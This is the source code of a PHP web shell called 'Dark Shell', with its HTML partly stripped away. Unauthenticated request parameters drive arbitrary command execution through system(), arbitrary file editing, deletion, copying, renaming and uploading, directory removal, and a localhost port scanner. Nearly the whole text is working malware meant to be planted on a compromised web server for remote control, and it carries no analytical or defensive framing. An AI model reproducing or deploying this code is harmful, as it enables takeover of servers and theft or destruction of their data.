# Dark Shell

\n"; echo "Server: " . $_SERVER ['SERVER_NAME'] . "
\n"; echo "Current directory: " . getcwd () . "
\n"; echo "Software: " . $_SERVER ['SERVER_SOFTWARE'] . "

    \n\n

\n"; echo "

    \n\n\n

"; echo "

"; echo "
"; echo "
\n"; echo "
\n"; echo "
\n"; echo "
\n"; echo "
Shell Command | Create a new file | Upload file | Port Scan

"; echo "

    \n\n

"; $mode = $_GET ['mode']; switch ($mode){ case 'edit': $file = $_GET ['file']; $new = $_POST ['new']; if (empty ($new)){ $fp = fopen ($file, "r"); $file_cont = fread ($fp, filesize ($file)); $file_cont = str_replace ("", "", $file_cont); echo "<form action = '".$current."&mode=edit&file=".$file."' method = 'POST'>\n"; echo "File: ". $file . "<br>\n"; echo "<textarea name = 'new' rows = '30' cols = '50'>".$file_cont."
\n"; echo "\n"; } else { $fp = fopen ($file, "w"); if (fwrite ($fp, $new)){ echo $file . " edited.

"; } else { echo "Unable to edit " . $file . ".

"; } } fclose ($fp); break; case 'delete': $file = $_GET ['file']; if (unlink ($file)){ echo $file . " deleted successfully.

"; } else { echo "Unable to delete " . $file . ".

"; } break; case 'copy': $src = $_GET ['src']; $dst = $_POST ['dst']; if (empty ($dst)){ echo "\n"; echo "Destination:
\n"; echo "\n"; } else { if (copy ($src, $dst)){ echo "File copied successfully.

\n"; } else { echo "Unable to copy " . $src . ".

\n"; } } break; case 'move': $src = $_GET ['src']; $dst = $_POST ['dst']; if (empty ($dst)){ echo "\n"; echo "Destination:
\n"; echo "\n"; } else { if (rename ($src, $dst)){ echo "File moved successfully.

\n"; } else { echo "Unable to move " . $src . ".

\n"; } } break; case 'rename': $old = $_GET ['old']; $new = $_POST ['new']; if (empty ($new)){ echo "\n"; echo "New name:
\n"; echo "\n"; } else { if (rename ($old, $new)){ echo "File/Directory renamed successfully.

\n"; } else { echo "Unable to rename " . $old . ".

\n"; } } break; case 'rmdir': $rm = $_GET ['rm']; if (rmdir ($rm)){ echo "Directory removed successfully.

\n"; } else { echo "Unable to remove " . $rm . ".

\n"; } break; case 'system': $cmd = $_POST ['cmd']; if (empty ($cmd)){ echo "\n"; echo "Shell Command: \n"; echo "

\n"; } else { system ($cmd); } break; case 'create': $new = $_POST ['new']; if (empty ($new)){ echo "\n"; echo "

New file: \n"; echo "
\n

"; } else { if ($fp = fopen ($new, "w")){ echo "File created successfully.

\n"; } else { echo "Unable to create ".$file.".

\n"; } fclose ($fp); } break; case 'upload': $temp = $_FILES['upload_file']['tmp_name']; $file = basename($_FILES['upload_file']['name']); if (empty ($file)){ echo "\n"; echo "Local file: \n"; echo "\n"; echo "\n

    \n\n

"; } else { if(move_uploaded_file($temp,$file)){ echo "File uploaded successfully.

\n"; unlink ($temp); } else { echo "Unable to upload " . $file . ".

\n"; } } break; case 'port_scan': $port_range = $_POST ['port_range']; if (empty ($port_range)){ echo "

"; echo "
| "; echo "Enter port range where you want to do port scan (ex.: 0:65535)
"; echo "

"; } else { $range = explode (":", $port_range); if ((!is_numeric ($range [0])) or (!is_numeric ($range [1]))){ echo "Bad parameters.
"; } else { $host = 'localhost'; $from = $range [0]; $to = $range [1]; echo "Open ports:
"; while ($from <= $to){ $var = 0; $fp = fsockopen ($host, $from) or $var = 1; if ($var == 0){ echo $from . "
"; } $from++; fclose ($fp); } } } break; } clearstatcache (); echo "

    \n\n

"; echo "

\n"; $files = scandir ($dir); foreach ($files as $file){ if (is_file ($file)){ $size = round (filesize ($file) / 1024, 2); echo "
"; echo "
"; echo "
\n"; echo "
\n"; echo "
\n"; echo "
\n"; echo "
".$file." | ".$size." KB | Edit | Delete | Copy | Move | Remame
\n"; } else { $items = scandir ($file); $items_num = count ($items) - 2; echo "
"; echo "
"; echo "
\n"; echo "
\n"; echo "
".$file." | ".$items_num." Items | Change directory | Remove directory | Rename directory
\n"; } } echo "

\n"; ?>